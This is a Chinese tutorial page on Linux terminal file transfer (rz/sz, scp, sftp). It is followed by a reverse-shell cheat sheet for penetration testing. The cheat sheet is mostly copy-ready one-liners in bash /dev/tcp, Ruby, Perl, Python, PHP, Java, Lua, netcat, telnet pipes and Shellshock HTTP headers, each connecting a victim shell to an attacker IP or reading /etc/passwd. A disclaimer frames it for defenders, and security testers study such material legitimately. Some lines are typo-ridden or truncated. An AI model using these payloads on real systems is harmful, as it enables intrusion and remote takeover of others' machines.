zl程序教程

您现在的位置是:首页 >  系统

当前栏目

Linux下终端实现文件上传与反弹

Linux文件上传 实现 终端 反弹
2023-06-13 09:13:31 时间

注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。

[TOC]

文件上传下载

(1) rz/sz 命令

描述:Debian里Kail中上传rz命令和下载sz命令可能需要专门的SSH连接工具才能使用;

sz 文件名.txt           #下载的文件
rz c:\filename.txt     #上传windows下会弹出选择框让您选择文件
(2) scp 命令

描述:scp依赖于ssh通道进行文件上传和下载

#上传到远程
scp localfile.txt root@RemoteHost:/tmp/upfile.txt

#下载到本地
scp root@RemoteHost:/tmp/remotefile.txt D:\Downloadfile.txt
(3) sftp 命令

描述:sftp(SSH File Transfer Protocol-安全文件传送协议)也是依赖于SSH是它的一部分;采用sftp命令来登录sshd服务进行文件上传下载,可以看作是ftp服务的升级版本,它与 ftp 有着几乎一样的语法和功能。

语法参数:

# 语法参数
usage: sftp [-46aCfpqrv] [-B buffer_size] [-b batchfile] [-c cipher]
    [-D sftp_server_path] [-F ssh_config] [-i identity_file] [-l limit]
    [-o ssh_option] [-P port] [-R num_requests] [-S program]
    [-s subsystem | sftp_server] host

# 链接格式
sftp [user@]host[:file ...]
sftp [user@]host[:dir[/]]
sftp -b batchfile [user@]host
# - 登录
sftp -o port=1000 username@remote ip
# - 上传
put /path/filename(本地主机) /path/filename(远端主机)
# - 下载
get /path/filename(远端主机) /path/filename(本地主机)

命令示例:

1) 交换式命令使用说明

# 示例1.采用密匙来登录到指定的sftp服务器上并下载文件或目录到本地
sftp -P 2222 -i /root/.ssh/id_rsa sftpuser@192.168.1.215
# 下载sftp服务中index.php文件到本地
sftp> get /var/www/html/index.php /tmp/
# 下载sftp服务中dir1目录及其子目录文件到本地
sftp> get -r /remote/dir1 .
# 上传本地文件到sftp服务器之中
sftp> put /tmp/weiyigeek.pdf /var/www/html/

常用反弹脚本

描述:在渗透测试中常常需要进行反弹Shell来证明该漏洞的危害,所以再Linux/Windows(不单独罗列了)中出现以下的方式方法 测试环境:

AttackIP:Kail  192.168.200.252
ClientIP:Centos 192.168.200.200
BASH反弹Shell

方式1:

/bin/bash -i >& /dev/tcp/10.24.87.54/4444 0>&1   #Client
nc -lvvp 4433  #Attack

WeiyiGeek.

方式2:采用文件描述符绑定反弹shell

/bin/bash -i > /dev/tcp/10.2.10.16/4444 0<&1 2>&1
0<&196;exec 196<>/dev/tcp/192.168.200.252/4444; sh <&196 >&196 2>&196

WeiyiGeek.

方式3

exec 5<>/dev/tcp/192.168.200.252/4444
# or:
exec 5<>/dev/tcp/192.168.200.252/4444 ; while read line 0<&5; do $line 2>&5 >&5; done

WeiyiGeek.

方式4

Hacker: nc -nvlp 4444
Victim: /bin/bash -i > /dev/tcp/192.168.200.252/4444 0<&1 2>&1

#可使用metasploit来获取shell
msfconsle
use exploit/multi/handler
ruby反弹shell
ruby -rsocket -e 'f=TCPSocket.open("192.168.200.200","4444").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'   #可将sh->bash

补充:未复现成功

perl反弹shell
perl -e 'use Socket;$i="10.24.87.54";$p=14444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
Python反弹Shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.24.87.54",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import pty;pty.spawn("/bin/sh")'   #可以在低权限用来sudo 获取高级权限

WeiyiGeek.

PHP反弹Shell
php -r '$sock=fsockopen("192.168.200.252",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

WeiyiGeek.

JAVA反弹Shell

描述:未能复现

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.200.252/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Go反弹Shell
LUA反弹Shell

描述:需要安装-未能复现

lua5.3 -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.200.200','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"
NC命令反弹Shell

方式1

#反向连接
nc -e /bin/sh 192.168.200.252 4444  #Client
nc -lvvp 4444 #Attack

#反向连接
mknod /tmp/backpipe p && /bin/sh 0</tmp/back pipe | nc 192.168.200.254 4444 1>/tmp/backpipe
nc -lvnp 4444  #Attack

WeiyiGeek.

方式2

#Client端
# 如果 -e 参数被禁用,可以尝试以下命令
rm -f /tmp/p; mknod /tmp/p p && nc 192.168.200.252 4443 0</tmp/
# 如果你安装错了 netcat 的版本,请尝试以下命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.252 4444>/tmp/f

#Attacker
nc -lvnp 4444
telnet命令反弹shell

方式1 描述:攻击端需要监听两个端口,一个4444端口执行命令另一个8888端口接受执行命令后的结果;

Hacker: nc -nvlp 4444
Hacker: nc -nvlp 8888
Victim: telnet 192.168.200.252 4444 | /bin/bash | telnet 192.168.200.252 8888

WeiyiGeek.

方式2: 描述:如果 netcat 不可用或者 /dev/tcp

mknod /tmp/backpipe p && telnet 192.168.200.252 4444 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe
#mknod a p; telnet x.x.x.x 2222 0<a | /bin/bash 1>a

WeiyiGeek.

Shellshock方式反弹shell
# 一个发现并利用服务器 Shellshock 的工具
./shocker.py -H 192.168.1.1  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
# 查看文件
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
 
# 绑定 shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
 
# 反弹 Shell
$ nc -l -p 443
$ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80